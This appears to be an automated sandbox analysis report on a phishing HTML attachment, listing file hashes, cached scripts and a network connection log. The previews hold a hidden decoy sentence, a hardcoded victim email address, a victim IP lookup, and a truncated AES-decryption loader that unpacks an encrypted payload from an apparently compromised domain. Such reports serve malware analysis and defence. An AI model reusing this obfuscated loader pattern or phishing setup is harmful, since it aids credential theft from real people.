MD5:	DF88DDA0B7F176A27156174AE2A39F7F
SHA1:	80A6164BFA00D6B72987CBDABFBF9FF3621D5F94
SHA-256:	FEB70560CFF695C0B6052C1C5260CC882B9C885D9A619CBD6024F162D9F94681
SHA-512:	CC2938BF9B26E05B463D4EB402B0F856565D47FA60D5BEF6418F09DD2502AABCAF01B408E09E867396DEEBC97CBBB7252AC0DC402EE318CDD2EF2222BB29120C
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJtYW5pZmVzdC5qc29uIiwicm9vdF9oYXNoIjoidDQzd194XzI1dVRFSDVHb3FpX0ZrcnhpQXFwYUd1ckhieDhCb1hKUm85RSJ9LHsicGF0aCI6InByaXZhY3ktc2FuZGJveC1hdHRlc3RhdGlvbnMuZGF0Iiwicm9vdF9oYXNoIjoiVGtpUEFHWjVaS1lBRFZTSFJyODh3UWRBRktxQ0NnbDZFRXZ2RFVKY2RBOCJ9XSwiZm9ybWF0IjoidHJlZWhhc2giLCJoYXNoX2Jsb2NrX3NpemUiOjQwOTZ9XSwiaXRlbV9pZCI6Im5paWtoZGdhamxwaGZlaGVwYWJoaGJsYWtiZGdlZWZqIiwiaXRlbV92ZXJzaW9uIjoiMjAyNS4yLjIxLjAiLCJwcm90b2NvbF92ZXJzaW9uIjoxfQ","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"inWweTPTe4tVNVdMuhLzupHin7cPtk_Ie6PerMQXqJqK2tSK3INDCBPPmAIQ0R2NNNlviFL1qtBQyVdUZKPoYkj8vszesT0kLB_1wOgQQxz4e33xJ4iadgwN0ML-zphdDCPn3E3cbeej5FQrZ7jnGNCgI7tpH7XdodPIwUPfSVEjVZuHbmXM9Bm0DJGcTxfA6LJXQUy0O-cdubvZUNENX3z20dTorqleI1v9slZrtlhuAcCp4qmwkQ6B4pWoiWdkn-0M0Qzg11YQLMYQ71wtjqhp3-YCxkhRboNTqwAGc1_CF-REB8qlVjHKacH6AUs

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_677949319\manifest.fingerprint

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	66
Entropy (8bit):	3.9725407190320086
Encrypted:	false
SSDEEP:	3:SSQEPXrDmadoGTVS6raGgwjGFl:SSQEPHmWoEVS6m46Fl
MD5:	C40F859E301E818313C801ECE18D09EE
SHA1:	DF33734DBD13F880D8041F91980D21EE4231B8B8
SHA-256:	3855273BE0DBBBEA2533069F75437D15D8C4F61BEC07ADD41E095214F1F7EB97
SHA-512:	B8848E7E75EF001B5132531AECD3E63EBBC000F4A3E64862D7CE361879137E0E695139DEC5558CF2FFC6AC725A63008B21BD755E3FAD704EF5E9EFBCA9C76BF9
Malicious:	false
Preview:	1.780ed8a4eda82d8fef820781c32c60705576b4feb90d1fc4306966ecc4ebaf73

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_677949319\manifest.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.564240712151194
Encrypted:	false
SSDEEP:	3:rR6TAulhFphifF1mYTdFKS1o4LVgn:F6VlMXdTHKS1oGa
MD5:	73D67739D79CB8956EE5801805A1866B
SHA1:	D623D6743264AF393D14D56489EEFD12A88EF76A
SHA-256:	B78DF0FF1FF6E6E4C41F91A8AA2FC592BC6202AA5A1AEAC76F1F01A17251A3D1
SHA-512:	9967C5D1CE88D88DCF20FC262F0900299C1BDA6A6F7F15D0037487DB81DE4DC4D1453E8E733B8016E857A96458FBE469E8E0B265089CE870E1D5FAF1F3F89A4F
Malicious:	false
Preview:	{. "manifest_version": 2,. "name": "Privacy Sandbox Attestations",. "version": "2025.2.21.0".}

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_677949319\privacy-sandbox-attestations.dat

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	7516
Entropy (8bit):	5.071104053844701
Encrypted:	false
SSDEEP:	192:I+0f6TueVE9GihNKybXxayBWu8QgjKA8Jtgm6wEHaxcEWwK:R0f6TudccKyDgSP8QgGAktgm5EHYcOK
MD5:	8F638939FC7B519FBC4E1DBBCBE2C286
SHA1:	599EB14DC57514EBE66F4AF6AAB6A774C1739A9F
SHA-256:	2ABB1E7F23D7AA561CE5F6052DFB347DAA510A975D5D37F062B7375133038FE0
SHA-512:	6A6B710A6E790FBB863BEE9655DADE20EC1D9487F0FED8AE6DCE718D5ED257E486B25B5D4E96D35C436CECC226373C824379719D707DC95905C6ED07DE71A1D9
Malicious:	false
Preview:	.........https://2k.com..https://33across.com..https://360yield.com..https://3lift.com..https://ad-score.com..https://ad.gt..https://adentifi.com..https://adform.net..https://adingo.jp..https://admatrix.jp..https://admixer.net..https://adnami.io..https://adnxs.com..https://adsafeprotected.com..https://adsrvr.org..https://adthrive.com..https://advividnetwork.com.Nhttps://aggregation-service-site-dot-clz200258-datateam-italy.ew.r.appspot.com..https://anonymised.io..https://aphub.ai..https://appier.net..https://avads.net..https://ayads.io..https://bidswitch.net..https://bidtheatre.net..https://bing.com..https://blendee.com..https://bounceexchange.com..https://bypass.jp..https://casalemedia.com..https://cdn-net.com..https://clickonometrics.pl..https://connected-stories.com..https://crcldu.com..https://creativecdn.com..https://criteo.com..https://ctnsnet.com..https://dabbs.net..https://daum.net..https://display.io..https://dotdashmeredith.com..https://dotomi.com..https://doubleclick.net..ht

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
URL:	https://code.jquery.com/jquery-3.6.0.min.js
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	22
Entropy (8bit):	3.6978458230844113
Encrypted:	false
SSDEEP:	3:YMD6jaLi4:YMDLi4
MD5:	F74F8C47531273BA77AE3944F1649211
SHA1:	0DF11E7F6D4D706A4F2CA582E9E040D57ADB3A28
SHA-256:	C2DD166846BBE51CC62D4C3521CB573A7F9E88BCB12706DD01E11C118C544061
SHA-512:	D0E29795CF71CC8CF7962286ABD229D87DA57C1DF0154DE3B3CD20631C0D639D23B48B8A5AFC23897425B78E63F5A8AB742C7C8DB1E7FE0264C3C67D3B236B96
Malicious:	false
URL:	https://api.ipify.org/?format=json
Preview:	{"ip":"70.105.238.74"}

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.120950594454667
Encrypted:	false
SSDEEP:	3:YBAvZNAiDSABL4:YwZNP94
MD5:	B09F000BFB98ABD880BC77E05456FFEA
SHA1:	FBADFA7F41B709507692B8FCEA597474EED91E2C
SHA-256:	0A721532497036FF7D8B228DD8D4EF5E91777B0BD2B11F49F5B2CCDDD55EB259
SHA-512:	F2E0CF9FD6D14EAF9BE953052515A598E9F96186FB82D5FA8D3E9B01F9706284DE8DDDF343AB69CF566EDEB28C659D65E0D608F99A5717A7CBFB2CC48ADA15A7
Malicious:	false
Preview:	{"detail":"Method \"GET\" not allowed."}

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	downloaded
Size (bytes):	14107
Entropy (8bit):	7.984477815621875
Encrypted:	false
SSDEEP:	384:w9WAwriQ1T1j+gRsFw4rccMPz4o8r38R82r/M+umCLSgl:c8t1j5RC1mF8gr4RLTl
MD5:	804C9A99903734AF120116EF7B3E4E4E
SHA1:	508DE14BA6FD0EA06C0280D86032AF061EDBB22F
SHA-256:	4B5CE69D7C45FAD436611372D6D891A2A3412483F1AB1CAD84C67BD23A722853
SHA-512:	0157458AB40AE12D7AFD01E943E22C2E605E50ABD7DDE763144AA729B8CD126DF2B1B6ACF807F53BEE9E06BBD88FE1DCB0E6BA1E15012C744E6FC6E3DB0A2027
Malicious:	false
URL:	https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js
Preview:	.n...3BwB..o~....;..Aat~d .8.&....j]........tT...-6.@...m.......xb...X.."3...l....nz....egym..nG..6%}(...-.r3.nS.)[2;%J....3..V......_.M........,....-.."....v.M........!....;v.W0..LG\5..7.....V...W..I7y.Xb..tjZ..O..n.&.....>Ib..Q.!.../.^M..~.2i%......5.d.2U.&-R...$.te.xu...w.AE..9..5..`bb~..../.."..6.i........#.....o.....%....H...=....dBij%.U...fP.I..!."...L.J..ad.P............%~U.'.h.....@..%.....W..J.&.. 9..c....D.Di.Ggm.].y...r.rM..h......4.PC.+V^!.....^,..f..i=..~..M...5Y7R. 9.E`.+q.._.~O....M.(ObC..{;.............1<.Q.U........v..<.!.N.f[.........c.B,1.._..Y.'._....H.ne..)`W..wo+.#x...\|...i}...,.!%.(.\|r..=.........8..a.^n....v....1.T..B.............8....>.{....Ysf..w.r.\X......& !.LP..5..1..%1$......>q..%.&N.'.O.m.6.#(~.(....zP..(j...f...u...}....L.....o..QD...j.Pa.Us.>...pq..ir..5..}...5-N.k..v....y=.&.....x...GD.y.^...t{.....ZQr.=.d...c..!.;...s..C.}.....^;.V..b.9.!.@...[`hg......?Q.P...'.)....0Uv..2....h..]).*...p^..96.%^...?.

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	downloaded
Size (bytes):	13972
Entropy (8bit):	7.9868450473199015
Encrypted:	false
SSDEEP:	384:LMsYfm/u5t6h030mPU0ldWu3k0OUZkQnC10V9:NYfmC6030Kjqu3zOekh1+
MD5:	2E46E3B0807C19E0EE85603DD4BA3F72
SHA1:	CB55679976D9A5D9933F291218B8FF0F95EBDC17
SHA-256:	87A3F839CFC8BCA3368A7DEC7C5FF14E5F613928E899B601292B5A1F1BD5DC05
SHA-512:	2FD12D3D8AAF9B0A896C25658C2D7E9CAFCB7AB4BBEB384135E6755E672E6AD28B3ED0B1BF4196779091B74D2A97015339A4E1FDE04F39B3CBDC50A9AD231F81
Malicious:	false
URL:	https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js
Preview:	b......&^...D...N.4Y...q..r......C...^#..V<.r....P0....k].b10......c....}.Q._^.=.)...N....x.j..>...=k.e..\|9...-D].....?..k....o. .{....M....p..Q.d.J..^f...;...I....{..k\.J..tM.`.)tDw3..d..0M.,........b...G.Q.F3....5m^7.i....e.A....'5>EN^je.....M..`e..)Z..d..D.w& .M....al...G<-.V.Z.....x....t..#.c..)s.X3..#......RU.53-...[...[..fVZ....h.F...IF.]..95...(..$.l...N...g.l..?..{.HY....._...=."lS...J:ke..@.#......Q{......S.KQ..T4)..w..e......\|.\|...^r..c......A.....)1...5...Jg..1._....j77.....B..Z..;.X..{>...B$....%2..R...b.d.\|s'.....+.+.l..3.....^=...._..\R...y.u.......#@.:./..{.@.9Fk.B...FF@..0B..!..,....`..wO:vDV&............Z3..b...`..\1.;..%.Lrr.p....cU....l.5.K4.P....C..h.._1c.M..k.;.Q..K.m.B...Q.,<.p...c.3m.C.... W..]-..U...FA8.E..bt.Z.....9..]..C2.!..}.?^W...b.6...Lr..As..'8....218T.I.5..[;........v.JOa.......l\>."...8.. ;..!hJ..;.Y.X........TS=\|.h...."!........+..0.....3..u....1...0...5(.,u.....S7.Y3....... ..Z.9G..Hr..I{.>..

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	22
Entropy (8bit):	3.6978458230844113
Encrypted:	false
SSDEEP:	3:YMD6jaLi4:YMDLi4
MD5:	F74F8C47531273BA77AE3944F1649211
SHA1:	0DF11E7F6D4D706A4F2CA582E9E040D57ADB3A28
SHA-256:	C2DD166846BBE51CC62D4C3521CB573A7F9E88BCB12706DD01E11C118C544061
SHA-512:	D0E29795CF71CC8CF7962286ABD229D87DA57C1DF0154DE3B3CD20631C0D639D23B48B8A5AFC23897425B78E63F5A8AB742C7C8DB1E7FE0264C3C67D3B236B96
Malicious:	false
Preview:	{"ip":"70.105.238.74"}

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (20513), with CRLF line terminators
Category:	downloaded
Size (bytes):	21228
Entropy (8bit):	5.718401024811751
Encrypted:	false
SSDEEP:	384:T6GtOnm4BGtWJ3LMikQXthmpIuW+/hhXjniKA8hZxych/u/ci6YTQru:+GgvGtWdmpIfehX5hZZ/ejTl
MD5:	BA1ADE0DB1309D80FCC15B4D92FBECA5
SHA1:	959B358EF98A5302D7C90DB553CA40DBA0F10E50
SHA-256:	8237109226B756A9E90A91AC74143A005F27494FAB7F41878E5B3943E5F735F1
SHA-512:	292C0B3CDA132E10FF0C544DB810BBCB7F730D2BB9A60D767D4D543F0A3F702C378099DC5B10274BC8E07376C16B7D3F8B82EB4F63191713D782172C558AA1C3
Malicious:	false
URL:	https://roytsonlaw.com//attach/js/DN9YxDgT2IfcbDTLzkzzxg7rLKec65cARK2vYL6IZ5kCVB9G3P.js
Preview:	..function decstr(encryptedString, key) {.. const encryptedData = CryptoJS.enc.Base64.parse(encryptedString);.... const iv = CryptoJS.lib.WordArray.create(encryptedData.words.slice(0, 4));.... const ciphertext = CryptoJS.lib.WordArray.create(.. encryptedData.words.slice(4).. );.... const hashedKey = CryptoJS.SHA256(key);.. const aesKey = CryptoJS.lib.WordArray.create(hashedKey.words.slice(0, 8));.... const decrypted = CryptoJS.AES.decrypt({ ciphertext: ciphertext }, aesKey, {.. iv: iv,.. mode: CryptoJS.mode.CBC,.. padding: CryptoJS.pad.Pkcs7,.. });.... return decrypted.toString(CryptoJS.enc.Utf8);..}.......... let ballerina = decstr(atob("OFRnMVNacjgwWkFKM1F1blc1VDdJcnRaT2prN1Ixc2w4RkRvOFMwOUtpZzM2dnJLb3hzUjR5YUxxN0RWdzZpcy9KakFHYWJ1ZVQ3MWFIMFZ1eHVwbjhmRWh2SERiZ0F3UUhBekRpbmZ4UEduSGxoYlJSR2h4N0dXRkpBR211a1VWUlFyTkY2Z0RaQ0NNdFBaZ1B2QndRVXJxUlg0RysrOHN3M3A0U2lpc3pDeTBPamZQd2ZZZVhET2lXZlBNSUhIRmNNSmw4RFBSL3BJVzZtcU5yU2J5cEtRYlQ5NUtZNlNMT01LaEFBZGczcm0wTUVYU1J5cXhmU

Static File Info

General

File type:	HTML document, Unicode text, UTF-8 (with BOM) text, with very long lines (393), with CRLF line terminators
Entropy (8bit):	5.705678081326079
TrID:	Text - UTF-8 encoded (3003/1) 100.00%
File name:	.html
File size:	808 bytes
MD5:	ec8775c26e1cab58ef799e1b2087290a
SHA1:	41003ca9cac239cdcbc68b49be0e0a9f74f7accd
SHA256:	15e4212ca6f76004f34c2ba6ffcf0e49dd8b8a2e8374f22beca352be67872b42
SHA512:	0facb236deff7a032c3362cb9eed8a978bca133222dcda6b81952ccaf9bf4e0780443958911715340f6255001c2d8e603e5119b236d83bf3c7200a3a8c657208
SSDEEP:	24:5gJMfzeNVMDyy/lMWf4zxFYsjgnjAQgwuXddAGhAntM/:UM7/DiUix+s+jvHuNdAqj/
TLSH:	A1018EAD5CACE6250031846BA5F07AEEDD25154B1B999159B2CC33372F153B84993DE0
File Content Preview:	...<div style="display:none;"> Smile, breathe and go slowly. </div>..<html>..<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js"></script>.. <script>.. RmyNMvULOx = `shannon.moore@mymanatee.org`;.. </script>.

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 12, 2025 14:07:07.442883968 CET	49672	443	192.168.2.6	204.79.197.203
Mar 12, 2025 14:07:07.754631042 CET	49672	443	192.168.2.6	204.79.197.203
Mar 12, 2025 14:07:08.364017963 CET	49672	443	192.168.2.6	204.79.197.203
Mar 12, 2025 14:07:09.567152977 CET	49672	443	192.168.2.6	204.79.197.203
Mar 12, 2025 14:07:11.973402023 CET	49672	443	192.168.2.6	204.79.197.203
Mar 12, 2025 14:07:16.058011055 CET	49678	443	192.168.2.6	20.42.65.91
Mar 12, 2025 14:07:16.364032984 CET	49678	443	192.168.2.6	20.42.65.91
Mar 12, 2025 14:07:16.973413944 CET	49672	443	192.168.2.6	204.79.197.203
Mar 12, 2025 14:07:17.051547050 CET	49678	443	192.168.2.6	20.42.65.91
Mar 12, 2025 14:07:18.254672050 CET	49678	443	192.168.2.6	20.42.65.91
Mar 12, 2025 14:07:19.998807907 CET	49702	443	192.168.2.6	23.60.203.209
Mar 12, 2025 14:07:19.998841047 CET	443	49702	23.60.203.209	192.168.2.6
Mar 12, 2025 14:07:19.998939037 CET	49702	443	192.168.2.6	23.60.203.209
Mar 12, 2025 14:07:20.014703035 CET	49702	443	192.168.2.6	23.60.203.209
Mar 12, 2025 14:07:20.014718056 CET	443	49702	23.60.203.209	192.168.2.6
Mar 12, 2025 14:07:20.388979912 CET	49703	443	192.168.2.6	142.250.186.100
Mar 12, 2025 14:07:20.389023066 CET	443	49703	142.250.186.100	192.168.2.6
Mar 12, 2025 14:07:20.389111996 CET	49703	443	192.168.2.6	142.250.186.100
Mar 12, 2025 14:07:20.389554977 CET	49703	443	192.168.2.6	142.250.186.100
Mar 12, 2025 14:07:20.389569044 CET	443	49703	142.250.186.100	192.168.2.6
Mar 12, 2025 14:07:20.661259890 CET	49678	443	192.168.2.6	20.42.65.91
Mar 12, 2025 14:07:21.668889999 CET	49704	443	192.168.2.6	104.17.25.14
Mar 12, 2025 14:07:21.668922901 CET	443	49704	104.17.25.14	192.168.2.6
Mar 12, 2025 14:07:21.669013023 CET	49704	443	192.168.2.6	104.17.25.14
Mar 12, 2025 14:07:21.669521093 CET	49704	443	192.168.2.6	104.17.25.14
Mar 12, 2025 14:07:21.669534922 CET	443	49704	104.17.25.14	192.168.2.6
Mar 12, 2025 14:07:25.473706961 CET	49678	443	192.168.2.6	20.42.65.91
Mar 12, 2025 14:07:26.586432934 CET	49672	443	192.168.2.6	204.79.197.203
Mar 12, 2025 14:07:28.145392895 CET	443	49702	23.60.203.209	192.168.2.6
Mar 12, 2025 14:07:28.145721912 CET	49702	443	192.168.2.6	23.60.203.209
Mar 12, 2025 14:07:28.145721912 CET	49702	443	192.168.2.6	23.60.203.209
Mar 12, 2025 14:07:28.147628069 CET	49709	443	192.168.2.6	23.60.203.209
Mar 12, 2025 14:07:28.147651911 CET	443	49709	23.60.203.209	192.168.2.6
Mar 12, 2025 14:07:28.147705078 CET	49709	443	192.168.2.6	23.60.203.209
Mar 12, 2025 14:07:28.148396015 CET	49709	443	192.168.2.6	23.60.203.209
Mar 12, 2025 14:07:28.148406029 CET	443	49709	23.60.203.209	192.168.2.6
Mar 12, 2025 14:07:28.459140062 CET	49702	443	192.168.2.6	23.60.203.209
Mar 12, 2025 14:07:28.459156990 CET	443	49702	23.60.203.209	192.168.2.6
Mar 12, 2025 14:07:28.759824038 CET	443	49703	142.250.186.100	192.168.2.6
Mar 12, 2025 14:07:28.759900093 CET	49703	443	192.168.2.6	142.250.186.100
Mar 12, 2025 14:07:28.760047913 CET	49703	443	192.168.2.6	142.250.186.100
Mar 12, 2025 14:07:28.760057926 CET	443	49703	142.250.186.100	192.168.2.6
Mar 12, 2025 14:07:28.760397911 CET	49710	443	192.168.2.6	142.250.186.100
Mar 12, 2025 14:07:28.760432959 CET	443	49710	142.250.186.100	192.168.2.6
Mar 12, 2025 14:07:28.760576010 CET	49710	443	192.168.2.6	142.250.186.100
Mar 12, 2025 14:07:28.760906935 CET	49710	443	192.168.2.6	142.250.186.100
Mar 12, 2025 14:07:28.760924101 CET	443	49710	142.250.186.100	192.168.2.6
Mar 12, 2025 14:07:30.135202885 CET	443	49704	104.17.25.14	192.168.2.6
Mar 12, 2025 14:07:30.135267973 CET	49704	443	192.168.2.6	104.17.25.14
Mar 12, 2025 14:07:30.135438919 CET	49704	443	192.168.2.6	104.17.25.14
Mar 12, 2025 14:07:30.135457039 CET	443	49704	104.17.25.14	192.168.2.6
Mar 12, 2025 14:07:30.136040926 CET	49711	443	192.168.2.6	104.17.25.14
Mar 12, 2025 14:07:30.136074066 CET	443	49711	104.17.25.14	192.168.2.6
Mar 12, 2025 14:07:30.136128902 CET	49711	443	192.168.2.6	104.17.25.14
Mar 12, 2025 14:07:30.136467934 CET	49711	443	192.168.2.6	104.17.25.14
Mar 12, 2025 14:07:30.136482000 CET	443	49711	104.17.25.14	192.168.2.6
Mar 12, 2025 14:07:35.078748941 CET	49678	443	192.168.2.6	20.42.65.91
Mar 12, 2025 14:07:36.525170088 CET	443	49709	23.60.203.209	192.168.2.6
Mar 12, 2025 14:07:36.527267933 CET	49709	443	192.168.2.6	23.60.203.209
Mar 12, 2025 14:07:36.527329922 CET	49709	443	192.168.2.6	23.60.203.209
Mar 12, 2025 14:07:36.527339935 CET	443	49709	23.60.203.209	192.168.2.6
Mar 12, 2025 14:07:36.527671099 CET	49715	443	192.168.2.6	23.60.203.209
Mar 12, 2025 14:07:36.527719021 CET	443	49715	23.60.203.209	192.168.2.6
Mar 12, 2025 14:07:36.531004906 CET	49715	443	192.168.2.6	23.60.203.209
Mar 12, 2025 14:07:36.539321899 CET	49715	443	192.168.2.6	23.60.203.209
Mar 12, 2025 14:07:36.539372921 CET	443	49715	23.60.203.209	192.168.2.6
Mar 12, 2025 14:07:36.540040016 CET	49715	443	192.168.2.6	23.60.203.209
Mar 12, 2025 14:07:37.042675018 CET	443	49710	142.250.186.100	192.168.2.6
Mar 12, 2025 14:07:37.042762995 CET	49710	443	192.168.2.6	142.250.186.100
Mar 12, 2025 14:07:37.042948008 CET	49710	443	192.168.2.6	142.250.186.100
Mar 12, 2025 14:07:37.042964935 CET	443	49710	142.250.186.100	192.168.2.6
Mar 12, 2025 14:07:38.654844046 CET	443	49711	104.17.25.14	192.168.2.6
Mar 12, 2025 14:07:38.694957018 CET	49711	443	192.168.2.6	104.17.25.14
Mar 12, 2025 14:07:38.727844000 CET	443	49711	104.17.25.14	192.168.2.6
Mar 12, 2025 14:07:38.727952957 CET	49711	443	192.168.2.6	104.17.25.14
Mar 12, 2025 14:07:38.730818033 CET	49711	443	192.168.2.6	104.17.25.14
Mar 12, 2025 14:07:38.730828047 CET	443	49711	104.17.25.14	192.168.2.6
Mar 12, 2025 14:07:38.731106997 CET	49711	443	192.168.2.6	104.17.25.14
Mar 12, 2025 14:07:38.731117010 CET	443	49711	104.17.25.14	192.168.2.6
Mar 12, 2025 14:07:38.731343031 CET	49711	443	192.168.2.6	104.17.25.14
Mar 12, 2025 14:07:38.731347084 CET	443	49711	104.17.25.14	192.168.2.6
Mar 12, 2025 14:07:39.140301943 CET	443	49711	104.17.25.14	192.168.2.6
Mar 12, 2025 14:07:39.140676022 CET	49711	443	192.168.2.6	104.17.25.14
Mar 12, 2025 14:07:39.140696049 CET	443	49711	104.17.25.14	192.168.2.6
Mar 12, 2025 14:07:39.248668909 CET	443	49711	104.17.25.14	192.168.2.6
Mar 12, 2025 14:07:39.292053938 CET	49711	443	192.168.2.6	104.17.25.14
Mar 12, 2025 14:07:39.346900940 CET	443	49711	104.17.25.14	192.168.2.6
Mar 12, 2025 14:07:39.347183943 CET	49711	443	192.168.2.6	104.17.25.14
Mar 12, 2025 14:07:39.350132942 CET	443	49711	104.17.25.14	192.168.2.6
Mar 12, 2025 14:07:39.350147009 CET	443	49711	104.17.25.14	192.168.2.6
Mar 12, 2025 14:07:39.350668907 CET	49711	443	192.168.2.6	104.17.25.14
Mar 12, 2025 14:07:39.350681067 CET	443	49711	104.17.25.14	192.168.2.6
Mar 12, 2025 14:07:39.357223034 CET	443	49711	104.17.25.14	192.168.2.6
Mar 12, 2025 14:07:39.357292891 CET	49711	443	192.168.2.6	104.17.25.14
Mar 12, 2025 14:07:39.363652945 CET	443	49711	104.17.25.14	192.168.2.6
Mar 12, 2025 14:07:39.363665104 CET	443	49711	104.17.25.14	192.168.2.6
Mar 12, 2025 14:07:39.363737106 CET	49711	443	192.168.2.6	104.17.25.14
Mar 12, 2025 14:07:39.363746881 CET	443	49711	104.17.25.14	192.168.2.6
Mar 12, 2025 14:07:39.363821030 CET	49711	443	192.168.2.6	104.17.25.14
Mar 12, 2025 14:07:39.370393038 CET	443	49711	104.17.25.14	192.168.2.6
Mar 12, 2025 14:07:39.370542049 CET	49711	443	192.168.2.6	104.17.25.14
Mar 12, 2025 14:07:39.370548964 CET	443	49711	104.17.25.14	192.168.2.6
Mar 12, 2025 14:07:39.415314913 CET	49711	443	192.168.2.6	104.17.25.14
Mar 12, 2025 14:07:39.415324926 CET	443	49711	104.17.25.14	192.168.2.6
Mar 12, 2025 14:07:39.459106922 CET	49711	443	192.168.2.6	104.17.25.14
Mar 12, 2025 14:07:39.479973078 CET	49719	443	192.168.2.6	68.183.63.244
Mar 12, 2025 14:07:39.480007887 CET	443	49719	68.183.63.244	192.168.2.6
Mar 12, 2025 14:07:39.480081081 CET	49719	443	192.168.2.6	68.183.63.244
Mar 12, 2025 14:07:39.480581999 CET	49719	443	192.168.2.6	68.183.63.244
Mar 12, 2025 14:07:39.480592966 CET	443	49719	68.183.63.244	192.168.2.6
Mar 12, 2025 14:07:41.627732038 CET	443	49719	68.183.63.244	192.168.2.6
Mar 12, 2025 14:07:41.628190994 CET	49719	443	192.168.2.6	68.183.63.244
Mar 12, 2025 14:07:41.628232002 CET	443	49719	68.183.63.244	192.168.2.6
Mar 12, 2025 14:07:41.629369974 CET	443	49719	68.183.63.244	192.168.2.6
Mar 12, 2025 14:07:41.629435062 CET	49719	443	192.168.2.6	68.183.63.244
Mar 12, 2025 14:07:41.639204979 CET	49719	443	192.168.2.6	68.183.63.244
Mar 12, 2025 14:07:41.639314890 CET	443	49719	68.183.63.244	192.168.2.6
Mar 12, 2025 14:07:41.639513016 CET	49719	443	192.168.2.6	68.183.63.244
Mar 12, 2025 14:07:41.639530897 CET	443	49719	68.183.63.244	192.168.2.6
Mar 12, 2025 14:07:41.693835974 CET	49719	443	192.168.2.6	68.183.63.244
Mar 12, 2025 14:07:42.242377996 CET	443	49719	68.183.63.244	192.168.2.6
Mar 12, 2025 14:07:42.242402077 CET	443	49719	68.183.63.244	192.168.2.6
Mar 12, 2025 14:07:42.242410898 CET	443	49719	68.183.63.244	192.168.2.6
Mar 12, 2025 14:07:42.242424011 CET	443	49719	68.183.63.244	192.168.2.6
Mar 12, 2025 14:07:42.242429972 CET	443	49719	68.183.63.244	192.168.2.6
Mar 12, 2025 14:07:42.242433071 CET	443	49719	68.183.63.244	192.168.2.6
Mar 12, 2025 14:07:42.242510080 CET	49719	443	192.168.2.6	68.183.63.244
Mar 12, 2025 14:07:42.242542982 CET	443	49719	68.183.63.244	192.168.2.6
Mar 12, 2025 14:07:42.242588997 CET	49719	443	192.168.2.6	68.183.63.244
Mar 12, 2025 14:07:42.287552118 CET	443	49719	68.183.63.244	192.168.2.6
Mar 12, 2025 14:07:42.287636995 CET	443	49719	68.183.63.244	192.168.2.6
Mar 12, 2025 14:07:42.287652969 CET	49719	443	192.168.2.6	68.183.63.244
Mar 12, 2025 14:07:42.287679911 CET	49719	443	192.168.2.6	68.183.63.244
Mar 12, 2025 14:07:42.288314104 CET	49719	443	192.168.2.6	68.183.63.244
Mar 12, 2025 14:07:42.288331985 CET	443	49719	68.183.63.244	192.168.2.6
Mar 12, 2025 14:07:42.352674961 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:42.352727890 CET	443	49721	172.67.143.150	192.168.2.6
